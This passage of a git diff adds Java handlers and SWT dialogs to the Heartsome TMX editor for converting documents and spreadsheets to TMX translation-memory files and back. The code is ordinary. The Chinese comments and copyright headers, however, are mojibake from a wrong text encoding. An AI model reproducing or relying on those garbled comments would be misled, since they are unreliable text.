Activator.getDefault().getPreferenceStore().setValue("net.heartsome.te.openedTmxFile", ""); + + TeCoreUtils.closeQAViewer(); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/Convert2TmxFileHanlder.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/Convert2TmxFileHanlder.java new file mode 100644 index 0000000..7ac5f44 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/Convert2TmxFileHanlder.java @@ -0,0 +1,38 @@ +/** + * Convert2TmxFileHanlder.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.ui.converter.handler; + +import net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Display; + + +public class Convert2TmxFileHanlder extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + // TODO Auto-generated method stub + new Convert2TmxDialog(Display.getDefault().getActiveShell()).open(); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/TmxConvert2FileHanlder.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/TmxConvert2FileHanlder.java new file mode 100644 index 0000000..9932b75 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/handler/TmxConvert2FileHanlder.java @@ -0,0 +1,43 @@ +/** + * TmxConvert2FileHanlder.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.ui.converter.handler; + +import net.heartsome.cat.te.core.bean.TmxConvert2FileBean; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Display; + + +public class TmxConvert2FileHanlder extends AbstractHandler { + + public void doConvert(AbstractTmx2File tmx2File, TmxConvert2FileBean bean) { + + } + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + // TODO Auto-generated method stub + new TmxConvert2FileDialog(Display.getDefault().getActiveShell()).open(); + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/Convert2TmxDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/Convert2TmxDialog.java new file mode 100644 index 0000000..10de041 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/Convert2TmxDialog.java @@ -0,0 +1,730 @@ +/** + * Convert2TmxDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.converter.ui; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.converter.AbstractFile2Tmx; +import net.heartsome.cat.te.core.converter.ConverterFactory; +import net.heartsome.cat.te.core.converter.TmxUtil; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.ui.opentmx.handler.OpenTmxFileHandler; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Link; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.VTDGen; + +public class Convert2TmxDialog extends HsAbstractProgressDialog implements IRunnableWithProgress { + + private static Logger LOGGER = LoggerFactory.getLogger(Convert2TmxDialog.class); + /** + * 需è¦è½¬æ¢çš„æºæ–‡ä»¶è·¯å¾„ + */ + private Text srcPathText; + + /** + * 添加自定义属性 + */ + private Button addCustomAttributeBtn; + + /** + * 转æ¢åˆ°å…¨æ–°çš„TMX文件路径 + */ + private Text newTmxPathText; + /** + * 追加到已有的TMX文件路径 + */ + private Text appendTmxPathText; + + private ScrolledComposite scroll; + + private Button browserSrcFileBtn; + + /** + * 自定义属性区域 + */ + private Composite attributeArea; + + private Button conver2NewTmxBtn; + + private Button browserNewTmxPathBtn; + + private Button appendExistTmxPathBtn; + + private Button browserExistTmxPathBtn; + + private Button isOpenBtn; + + private File2TmxConvertBean convertBean; + + /** + * @param parentShell + */ + public Convert2TmxDialog(Shell parentShell) { + super(parentShell); + setShellStyle(SWT.SHELL_TRIM); + } + + public AbstractFile2Tmx file2Tmx; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#createClientArea(org.eclipse.swt.widgets.Composite) + */ + @Override + public Composite createClientArea(Composite clientContainer) { + + clientContainer.setLayout(new GridLayout(1, false)); + clientContainer.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + // 1〠第一行æºæ–‡ä»¶é€‰æ‹©åŒºåŸŸ + Composite srcFileSelectArea = new Composite(clientContainer, SWT.NONE); + GridLayout srcFileLayout = new GridLayout(3, false); + srcFileLayout.marginWidth = 0; + srcFileSelectArea.setLayout(srcFileLayout); + srcFileSelectArea.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label srcLable = new Label(srcFileSelectArea, SWT.NONE); + srcLable.setText(Messages.getString("dialog.Convert2TmxDialog.srcLable")); + srcLable.setLayoutData(new GridData(SWT.LEFT, SWT.CENTER, false, false, 1, 1)); + + srcPathText = new Text(srcFileSelectArea, SWT.BORDER); + srcPathText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + browserSrcFileBtn = new Button(srcFileSelectArea, SWT.NONE); + browserSrcFileBtn.setText(Messages.getString("dialog.Convert2TmxDialog.browserSrcFileBtn")); + browserSrcFileBtn.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + + new Label(srcFileSelectArea, SWT.NONE); + Link srcFileFormatLink = new Link(srcFileSelectArea, SWT.NONE); + srcFileFormatLink.setText(MessageFormat.format("{0}", + Messages.getString("dialog.Convert2TmxDialog.sourceFileFormatHelp"))); + + srcFileFormatLink.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(getHelpUrl()); + } + + private String getHelpUrl() { + String language = CommonFunction.getSystemLanguage(); + String helpUrl = MessageFormat.format( + "/net.heartsome.cat.te.ui.help/html/{0}/ch07.html#source_file_id", language); + return helpUrl; + } + }); + + // 3ã€æ·»åŠ è‡ªå®šä¹‰å±žæ€§ + addCustomAttributeBtn = new Button(clientContainer, SWT.CHECK); + addCustomAttributeBtn.setText(Messages.getString("dialog.Convert2TmxDialog.addCustomAttributeBtn")); + + Group customAttributeGroup = new Group(clientContainer, SWT.NONE); + customAttributeGroup.setLayout(new GridLayout(1, false)); + + GridData customAttributeGroupGd = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + // customAttributeGroupGd.heightHint = 150; + customAttributeGroup.setLayoutData(customAttributeGroupGd); + customAttributeGroup.setText(Messages.getString("dialog.Convert2TmxDialog.customAttributeGroup")); + + scroll = new ScrolledComposite(customAttributeGroup, SWT.V_SCROLL); + scroll.setLayoutData(new GridData(GridData.FILL_BOTH)); + scroll.setExpandHorizontal(true); + scroll.setExpandVertical(true); + + attributeArea = new Composite(scroll, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(attributeArea); + GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(1).applyTo(attributeArea); + scroll.setContent(attributeArea); + // createArributeArea(attributeArea); + + // 4ã€è½¬æ¢æˆç›®æ ‡TMX的区域 + Group converTargetGroup = new Group(clientContainer, SWT.NONE); + converTargetGroup.setLayout(new GridLayout(3, false)); + converTargetGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + conver2NewTmxBtn = new Button(converTargetGroup, SWT.RADIO); + conver2NewTmxBtn.setText(Messages.getString("dialog.Convert2TmxDialog.conver2NewTmxBtn")); + + newTmxPathText = new Text(converTargetGroup, SWT.BORDER); + newTmxPathText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, true, 1, 1)); + + browserNewTmxPathBtn = new Button(converTargetGroup, SWT.NONE); + browserNewTmxPathBtn.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + browserNewTmxPathBtn.setText(Messages.getString("dialog.Convert2TmxDialog.browserNewTmxPathBtn")); + + appendExistTmxPathBtn = new Button(converTargetGroup, SWT.RADIO); + appendExistTmxPathBtn.setText(Messages.getString("dialog.Convert2TmxDialog.appendExistTmxPathBtn")); + + appendTmxPathText = new Text(converTargetGroup, SWT.BORDER); + appendTmxPathText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, true, 1, 1)); + + browserExistTmxPathBtn = new Button(converTargetGroup, SWT.NONE); + browserExistTmxPathBtn.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + browserExistTmxPathBtn.setText(Messages.getString("dialog.Convert2TmxDialog.browserExistTmxPathBtn")); + + isOpenBtn = new Button(clientContainer, SWT.CHECK); + isOpenBtn.setText(Messages.getString("dialog.Convert2TmxDialog.isOpenBtn")); + + initDataState(); + loadDialogSettings(); + addLisners(); + + return clientContainer; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.Convert2TmxDialog.title")); + } + + @Override + protected Point getInitialSize() { + return new Point(600, 570); + } + + private class AddArributeCommand extends SelectionAdapter { + + private Composite parent; + + /** + * + */ + public AddArributeCommand(Composite parent) { + this.parent = parent; + } + + @Override + public void widgetSelected(SelectionEvent e) { + createArributeArea(parent, null, null); + scroll.setMinSize(parent.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + parent.layout(); + scroll.layout(); + } + } + + private class DeleteAttibuteCommand extends SelectionAdapter { + + private Composite parent; + + /** + * + */ + public DeleteAttibuteCommand(Composite parent) { + this.parent = parent; + + } + + @Override + public void widgetSelected(SelectionEvent e) { + Button b = (Button) e.getSource(); + b.getParent().dispose(); + scroll.setMinSize(parent.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + parent.layout(); + scroll.layout(); + if (parent.getChildren().length == 0) { + addCustomAttributeBtn.setSelection(false); + } + + } + } + + private void addLisners() { + // 添加自定义属性 + addCustomAttributeBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + if (addCustomAttributeBtn.getSelection()) { + disposeAttributeArea(); + createArributeArea(attributeArea, null, null); + scroll.setMinSize(attributeArea.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + attributeArea.layout(); + scroll.layout(); + } else { + disposeAttributeArea(); + } + + } + }); + + // 选择æºæ–‡ä»¶ + browserSrcFileBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + + FileDialog fDialog = new FileDialog(getShell(), SWT.SINGLE); + fDialog.setFilterExtensions(new String[] { "*.docx;*.xlsx;*.txt;*.tbx;*.hstm", "*.docx", "*.xlsx", + "*.txt", "*.tbx", "*.hstm" }); + fDialog.open(); + String filterPath = fDialog.getFilterPath(); + String fileName = fDialog.getFileName(); + if (fileName == null || fileName.isEmpty()) { + return; + } + String filePath = filterPath + File.separator + fileName; + srcPathText.setText(filePath); + // è®¾ç½®æŒ‰é’®çŠ¶æ€ + setOKState(); + + } + }); + + conver2NewTmxBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + browserNewTmxPathBtn.setEnabled(true); + browserExistTmxPathBtn.setEnabled(false); + setOKState(); + + } + }); + + appendExistTmxPathBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + browserNewTmxPathBtn.setEnabled(false); + browserExistTmxPathBtn.setEnabled(true); + setOKState(); + } + }); + + browserNewTmxPathBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + DirectoryDialog dialog = new DirectoryDialog(getShell()); + dialog.open(); + + String filterPath = dialog.getFilterPath(); + if (null == filterPath || filterPath.isEmpty()) { + return; + } + newTmxPathText.setText(filterPath); + setOKState(); + + } + }); + + browserExistTmxPathBtn.addSelectionListener(new SelectionAdapter() { + + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog fDialog = new FileDialog(getShell(), SWT.SINGLE); + fDialog.setFilterExtensions(new String[] { "*.tmx" }); + fDialog.open(); + String filterPath = fDialog.getFilterPath(); + String fileName = fDialog.getFileName(); + if (fileName == null || fileName.isEmpty()) { + return; + } + String filePath = filterPath + File.separator + fileName; + appendTmxPathText.setText(filePath); + setOKState(); + } + }); + } + + private Composite createArributeArea(Composite attibueArea, String key, String value) { + Composite parent = new Composite(attibueArea, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(parent); + GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(5).applyTo(parent); + + Text keyText = new Text(parent, SWT.BORDER); + keyText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + if (null != key) { + keyText.setText(key); + } + + Label assignLb = new Label(parent, SWT.NONE); + assignLb.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + assignLb.setText(" = "); + Text valueText = new Text(parent, SWT.BORDER); + valueText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + if (null != value) { + valueText.setText(value); + } + Button addBtn = new Button(parent, SWT.NONE); + addBtn.setText("+"); + addBtn.addSelectionListener(new AddArributeCommand(attibueArea)); + + Button deletBtn = new Button(parent, SWT.NONE); + deletBtn.setText("-"); + deletBtn.addSelectionListener(new DeleteAttibuteCommand(attibueArea)); + return attibueArea; + } + + private void disposeAttributeArea() { + Control[] children = attributeArea.getChildren(); + if (null == children || children.length == 0) { + return; + } + for (Control control : children) { + control.dispose(); + attributeArea.layout(); + scroll.layout(); + } + } + + /** + * 得到自定义区域的属性和属性值 + * @return ; + */ + public Map getCustomArributes() { + Map attribute = new HashMap(); + if (attributeArea != null && !attributeArea.isDisposed()) { + // 自定义区的æ¯ä¸€è¡ŒæŽ§ä»¶ + Control[] children = attributeArea.getChildren(); + if (null == children || children.length == 0) { + return attribute; + } + for (Control child : children) { + Control[] children2 = ((Composite) child).getChildren(); + if (null == children2 || children2.length <= 3) { + return attribute; + } + String key = ((Text) children2[0]).getText(); + String value = ((Text) children2[2]).getText(); + if (key != null && !key.isEmpty() && value != null && !value.isEmpty()) { + attribute.put(key, value); + } + } + + } + return attribute; + } + + // åˆå§‹åŒ–控件状æ€å’Œæ•°æ® + public void initDataState() { + srcPathText.setEditable(false); + newTmxPathText.setEditable(false); + appendTmxPathText.setEditable(false); + browserExistTmxPathBtn.setEnabled(false); + conver2NewTmxBtn.setSelection(true); + isOpenBtn.setSelection(false); + } + + private void setOKState() { + if (conver2NewTmxBtn.getSelection()) { + if (!srcPathText.getText().isEmpty() && !newTmxPathText.getText().isEmpty()) { + setOkBtnEnable(true); + } else { + setOkBtnEnable(false); + } + + } else if (appendExistTmxPathBtn.getSelection()) { + if (!srcPathText.getText().isEmpty() && !appendTmxPathText.getText().isEmpty()) { + setOkBtnEnable(true); + } else { + setOkBtnEnable(false); + } + } + } + + public File2TmxConvertBean getConvertBean() { + + final File2TmxConvertBean bean = new File2TmxConvertBean(); + Display.getDefault().syncExec(new Runnable() { + /** + * (non-Javadoc) + * @see java.lang.Runnable#run() + */ + @Override + public void run() { + + bean.sourceFilePath = srcPathText.getText(); + + if (addCustomAttributeBtn.getSelection()) { + bean.customeAttr = getCustomArributes(); + } + + if (appendExistTmxPathBtn.getSelection()) { + bean.appendExistTmxFilePath = appendTmxPathText.getText(); + } else { + bean.appendExistTmxFilePath = null; + } + + if (conver2NewTmxBtn.getSelection()) { + String text = srcPathText.getText(); + File file = new File(text); + String name = file.getName(); + name = name.substring(0, name.lastIndexOf(".")) + "."; + if (newTmxPathText.getText().endsWith(File.separator)) { + bean.newTmxFilePath = newTmxPathText.getText() + name + "tmx"; + } else { + bean.newTmxFilePath = newTmxPathText.getText() + File.separator + name + "tmx"; + } + + } else { + bean.newTmxFilePath = null; + } + + bean.isOpenTmx = isOpenBtn.getSelection(); + } + + }); + this.convertBean = bean; + return bean; + } + + public File2TmxConvertBean getConvertParams() { + return this.convertBean; + } + + @Override + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + File2TmxConvertBean convertBean = getConvertBean(); + try { + checkConvertBean(convertBean); + if (convertBean.newTmxFilePath != null) { + final File fileTemp = new File(convertBean.newTmxFilePath); + final boolean[] r = new boolean[1]; + if (fileTemp.exists()) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + r[0] = OpenMessageUtils.openConfirmMessage(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.overwriteFile"), + fileTemp.getName())); + } + }); + if (!r[0]) { + return; + } + } + } + // TODO Auto-generated method stub + AbstractFile2Tmx file2TmxConverter = ConverterFactory.getFile2TmxConverter(convertBean.sourceFilePath); + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("dialog.Convert2TmxDialog.convert.task.msg1")); + SubProgressMonitor clearUnableCharSub = new SubProgressMonitor(monitor, 10); + SubProgressMonitor sub = new SubProgressMonitor(monitor, 90); + + if (null != convertBean.appendExistTmxFilePath) { + clearUnableCharSub.beginTask("", 100); + clearUnableCharSub.worked(40); + VTDGen newVg = TmxUtil.clearUnableParseChars(convertBean.appendExistTmxFilePath); + clearUnableCharSub.done(); + if (null == newVg) { + clearUnableCharSub.done(); + throw new Exception( + Messages.getString("dialog.Convert2TmxDialog.converter.common.appendtmx.wrongTmx")); + } + newVg.clear(); + } else { + sub = new SubProgressMonitor(monitor, 100); + } + file2TmxConverter.doCovnerter(convertBean, sub); + } catch (Exception e) { + LOGGER.error("convert error", e); + if (convertBean.newTmxFilePath != null) { + File file = new File(convertBean.newTmxFilePath); + file.delete(); + } + throw new InterruptedException(MessageFormat.format( + Messages.getString("dialog.Convert2TmxDialog.convert.task.error"), e.getMessage())); + } finally { + monitor.done(); + } + } + + /** + * 检查文件æƒé™ + * @param convertBean + * @throws Exception + * ; + */ + public void checkConvertBean(File2TmxConvertBean convertBean) throws Exception { + File tempFile = null; + if (convertBean.sourceFilePath != null) { + tempFile = new File(convertBean.sourceFilePath); + if (!tempFile.canRead()) { + throw new Exception(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.sourceFileNotexist"), + convertBean.sourceFilePath)); + } + } + if (convertBean.appendExistTmxFilePath != null) { + tempFile = new File(convertBean.appendExistTmxFilePath); + if (!tempFile.canWrite()) { + throw new Exception(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.targetFileNotexist"), + convertBean.appendExistTmxFilePath)); + } + } else if (convertBean.newTmxFilePath != null) { + tempFile = new File(convertBean.newTmxFilePath); + File parentFile = tempFile.getParentFile(); + File createTempFile = null;// test the directory can write. + try { + createTempFile = File.createTempFile("test", ".temp", parentFile); + } catch (Exception e) { + throw new Exception(MessageFormat.format( + Messages.getString("dialog.TmxConvert2FileDialog.targetFileNotexist"), tempFile.getParent())); + } finally { + if (null != createTempFile) { + createTempFile.delete(); + } + } + + } + } + + /** + * 默认按下任务è¿è¡Œ (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#okPressed() + */ + @Override + protected void okPressed() { + if (this instanceof IRunnableWithProgress) { + try { + run(isFork(), canCancel(), (IRunnableWithProgress) this); + if (getProgressMonitor().isCanceled()) { + return; + } + OpenMessageUtils.openMessage(IStatus.INFO, Messages.getString("dialog.Convert2TmxDialog.taskFinished")); + setReturnCode(OK); + close(); + } catch (Exception e) { + LOGGER.error("", e); + OpenMessageUtils.openMessage(IStatus.ERROR, "" + e.getMessage()); + return; + } + } + File2TmxConvertBean convertBean = getConvertParams(); + String path = ""; + if (convertBean.isOpenTmx) { + if (convertBean.appendExistTmxFilePath != null) { + path = convertBean.appendExistTmxFilePath; + } else { + path = convertBean.newTmxFilePath; + } + OpenTmxFileHandler.open(new File(path)); + } + return; + } + + @Override + public boolean close() { + if (getShell() != null && !getShell().isDisposed()) { + writeDialogSettings(); + } + return super.close(); + } + + private void writeDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + dialogSettings.put("isOpen", isOpenBtn.getSelection()); + String[] convertMap2StrArrays = convertMap2StrArrays(); + dialogSettings.put("isCustom", addCustomAttributeBtn.getSelection()); + dialogSettings.put("CustomValues", convertMap2StrArrays); + } + + private void loadDialogSettings() { + IDialogSettings dialogSettings = getDialogSettings(); + isOpenBtn.setSelection(dialogSettings.getBoolean("isOpen")); + boolean isCustomSlect = dialogSettings.getBoolean("isCustom"); + if (!isCustomSlect) { + return; + } + addCustomAttributeBtn.setSelection(isCustomSlect); + String[] array = dialogSettings.getArray("CustomValues"); + if (null == array || array.length == 0) { + if (isCustomSlect) { + createArributeArea(attributeArea, null, null); + } + return; + } + for (String key_value : array) { + String[] split = key_value.split(ID_MARK); + createArributeArea(attributeArea, split[0], split[1]); + } + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + public final static String ID_MARK = "\uFFF1"; + + private String[] convertMap2StrArrays() { + Map customArributes = getCustomArributes(); + if (null == customArributes || customArributes.isEmpty()) { + return new String[0]; + } + String[] sArrays = new String[customArributes.size()]; + Set> entrySet = customArributes.entrySet(); + int i = 0; + for (Entry entry : entrySet) { + String key = entry.getKey(); + String value = entry.getValue(); + sArrays[i] = key + ID_MARK + value; + i++; + } + return sArrays; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + return "/net.heartsome.cat.te.ui.help/html/{0}/ch07.html#to_tmx_id"; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/TmxConvert2FileDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/TmxConvert2FileDialog.java new file mode 100644 index 0000000..8db0e02 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/converter/ui/TmxConvert2FileDialog.java @@ -0,0 +1,671 @@ +/** + * TmxConvert2FileDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.converter.ui; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxConvert2FileBean; +import net.heartsome.cat.te.core.converter.AbstractTmx2File; +import net.heartsome.cat.te.core.converter.ConverterFactory; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.List; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * TMX文件转æ¢ä¸ºå…¶ä»–文件 + * @author yule + * @version + * @since JDK1.6 + */ +public class TmxConvert2FileDialog extends HsAbstractProgressDialog implements IRunnableWithProgress { + + public final static Logger LOGGER = LoggerFactory.getLogger(TmxConvert2FileDialog.class); + + private static final String FILETYPECOMBO_INDEX = 